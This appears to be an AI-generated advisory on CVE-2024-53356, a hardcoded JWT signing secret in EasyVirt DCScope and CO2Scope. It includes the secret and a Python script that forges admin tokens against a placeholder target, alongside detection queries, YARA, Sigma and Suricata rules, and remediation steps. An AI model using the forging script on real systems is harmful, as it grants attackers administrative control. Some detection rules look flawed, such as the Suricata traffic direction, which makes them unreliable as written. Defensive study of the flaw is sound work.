CVE-2024-53356

Executive Summary

CVE-2024-53356 exposes a critical security flaw in EasyVirt DCScope (<= 8.6.0) and CO2Scope (<= 1.3.0) products. The vulnerability stems from the use of a hardcoded, weak HMAC secret (somerandomaccesstoken) for signing JSON Web Tokens (JWTs). This allows any remote, unauthenticated attacker to forge valid JWTs, effectively bypassing authentication and gaining administrative privileges. The impact is severe, leading to full compromise of the affected systems, including data exfiltration, configuration changes, and potential lateral movement within the network. No patch is currently available from the vendor.

Supply Chain & Package Security

This vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby) but is a direct flaw in the proprietary EasyVirt application code. The risk is to organizations that have deployed these on-premise virtualization management tools.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector (AV): Network - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low - No special conditions are required; the secret is known.
• Privileges Required (PR): None - No authentication is needed to exploit.
• User Interaction (UI): None - The victim does not need to perform any action.
• Scope (S): Unchanged - The vulnerable component is the only one affected.
• Confidentiality (C): High - Full read access to all data managed by the application.
• Integrity (I): High - Full write access to modify configurations and data.
• Availability (A): High - Potential to disrupt services or delete critical resources.

Threat Level: Critical. The combination of a public PoC (the hardcoded secret), no required privileges, and network exploitability makes this a high-priority target for threat actors.

Deep Dive & Mechanics

The core issue is a classic case of hardcoded cryptographic secrets. The EasyVirt application uses JSON Web Tokens (JWTs) for session management and API authentication. JWTs are digitally signed using a secret key (HMAC-SHA256) to ensure their integrity. The server verifies the token's signature using the same secret.

In this vulnerability, the HMAC secret is hardcoded in the application's source code as the string somerandomaccesstoken. This secret is identical across all installations of the affected versions.

Attack Flow:

1. An attacker identifies a target running DCScope or CO2Scope.
2. The attacker crafts a JWT payload with claims that grant administrative privileges (e.g., "role": "admin", "user": "root").
3. The attacker signs this JWT using the known secret somerandomaccesstoken with the HMAC-SHA256 algorithm.
4. The attacker sends a request to the application's API endpoint (e.g., /api/v1/admin/...) with the forged JWT in the Authorization: Bearer <token> header.
5. The server decodes the JWT, verifies the signature using the same hardcoded secret, and grants the attacker the privileges specified in the forged token.

This bypasses all authentication and authorization controls, giving the attacker full control over the virtualization environment.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code would be found in the JWT validation/creation module. It likely looks similar to this:

import jwt

# Hardcoded weak secret
SECRET_KEY = "somerandomaccesstoken"

def create_token(user_id, role):
    payload = {
        "user_id": user_id,
        "role": role,
        "exp": datetime.utcnow() + timedelta(hours=1)
    }
    token = jwt.encode(payload, SECRET_KEY, algorithm="HS256")
    return token

def verify_token(token):
    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
        return payload
    except jwt.InvalidTokenError:
        return None

Patched Code (Conceptual): A secure implementation would:

1. Use a strong, randomly generated secret stored in an environment variable or a secure vault.
2. Use a key derivation function (KDF) if needed.
3. Rotate secrets periodically.

import jwt
import os

# Secret loaded from environment variable
SECRET_KEY = os.environ.get("JWT_SECRET_KEY")
if not SECRET_KEY:
    raise Exception("JWT_SECRET_KEY environment variable not set!")

def create_token(user_id, role):
    payload = {
        "user_id": user_id,
        "role": role,
        "exp": datetime.utcnow() + timedelta(hours=1)
    }
    token = jwt.encode(payload, SECRET_KEY, algorithm="HS256")
    return token

def verify_token(token):
    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
        return payload
    except jwt.InvalidTokenError:
        return None

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Python 3.x with PyJWT library installed (pip install pyjwt).
• Target IP address of an EasyVirt DCScope/CO2Scope instance.

Exploit Script:

import jwt
import requests
import json

# Target configuration
TARGET_URL = "https://<TARGET_IP>:<PORT>"  # Replace with actual target
API_ENDPOINT = "/api/v1/admin/users"  # Example endpoint

# Hardcoded secret from CVE
SECRET = "somerandomaccesstoken"

# Forge an admin JWT
payload = {
    "user_id": "attacker",
    "role": "admin",
    "exp": 9999999999  # Far future expiration
}
forged_token = jwt.encode(payload, SECRET, algorithm="HS256")

# Use the forged token to access a privileged API
headers = {
    "Authorization": f"Bearer {forged_token}",
    "Content-Type": "application/json"
}

# Example: List all users (privileged action)
response = requests.get(f"{TARGET_URL}{API_ENDPOINT}", headers=headers, verify=False)

if response.status_code == 200:
    print("[+] Successfully authenticated with forged JWT!")
    print(json.dumps(response.json(), indent=2))
else:
    print(f"[-] Failed. HTTP Status: {response.status_code}")
    print(response.text)

Usage:

1. Replace <TARGET_IP>:<PORT> with the actual target.
2. Run the script. It will forge a JWT and attempt to access a privileged API endpoint.
3. If successful, the attacker can then enumerate, modify, or delete resources.

Blue Team (Detection & Response)

Detection Strategy:

1. Monitor for JWT Anomalies: Look for JWTs with unusual claims (e.g., role: admin from a non-admin source) or tokens that are signed with a known weak secret. Decode all JWTs in HTTP headers and inspect the payload.
2. API Access Logs: Analyze API access logs for requests from IPs that should not have administrative access, especially to sensitive endpoints like /api/v1/admin/*.
3. Network Traffic: Look for requests to the EasyVirt API that contain the string somerandomaccesstoken in the Authorization header (though this is unlikely in practice, as the token is signed, not sent in plaintext). More importantly, look for a high volume of 401/403 errors followed by a successful 200 from the same IP, indicating a brute-force or token-forging attempt.

Hunting Query (Splunk/ELK):

index=web_logs source="/var/log/easyvirt/access.log"
| rex field=uri "/(?<api_version>v[0-9]+)/(?<resource>[^/]+)"
| search api_version=v1 AND resource=admin*
| eval token_status=if(match(auth_header, "Bearer .+"), "JWT Present", "No JWT")
| stats count by src_ip, uri, status, token_status
| where status=200 AND token_status="JWT Present"

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /api/v1/admin/* endpoints from unexpected IP addresses.
  • JWTs in the Authorization header that decode to a payload containing "role": "admin" or "user": "root" from a non-privileged source.
  • The string somerandomaccesstoken in any log or memory dump (though this is a static indicator, it is the root cause).

• Host IOCs:

  • Unauthorized creation of new user accounts within the EasyVirt application.
  • Modification of virtual machine configurations or snapshots.
  • Unusual outbound network connections from the EasyVirt server to external IPs (data exfiltration).
  • Presence of the string somerandomaccesstoken in the application binary or configuration files (e.g., grep -r "somerandomaccesstoken" /opt/easyvirt/).

• File IOCs:

  • Any file containing the hardcoded secret somerandomaccesstoken.

Detection Engineering

YARA Rule

rule CVE_2024_53356_EasyVirt_Hardcoded_JWT_Secret {
    meta:
        description = "Detects the hardcoded JWT secret used in CVE-2024-53356"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-53356"
        severity = "critical"

    strings:
        $secret = "somerandomaccesstoken" ascii wide nocase

    condition:
        $secret
}

Sigma Rule

title: CVE-2024-53356 - EasyVirt Hardcoded JWT Secret Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2024-53356 by monitoring for forged JWTs.
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-53356
logsource:
    category: web
    product: easyvirt
detection:
    selection:
        cs-uri-query|contains: "/api/v1/admin/"
        sc-status: 200
    filter:
        c-ip: "10.0.0.0/8"  # Adjust to your internal network
    condition: selection and not filter
falsepositives:
    - Legitimate admin activity from authorized IPs
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-53356 - EasyVirt JWT Forge Attempt"; flow:to_server,established; content:"Authorization"; http_header; content:"Bearer"; distance:0; within:100; pcre:"/Bearer\s+[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Systems: If possible, disconnect the EasyVirt servers from the network until a patch is applied.
2. Network Segmentation: Place the EasyVirt servers behind a firewall and restrict access to only trusted administrative IPs.
3. Web Application Firewall (WAF): Deploy a WAF rule to block requests to /api/v1/admin/* endpoints that do not originate from a whitelist of IPs.
4. Monitor Logs: Actively monitor logs for the IOCs listed above.

Long-Term Fix:

1. Vendor Patch: Contact EasyVirt support and request a patch that replaces the hardcoded secret with a configurable, strong secret.
2. Manual Workaround (If source code is accessible):
   • Locate the hardcoded secret in the application code.
   • Replace it with a value read from a secure environment variable or a configuration file with restricted permissions.
   • Generate a new, strong secret using a cryptographically secure random generator (e.g., openssl rand -base64 32).
   • Restart the application service.
3. Secret Rotation: Implement a process to rotate the JWT secret periodically.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. All information is provided for educational and defensive purposes only.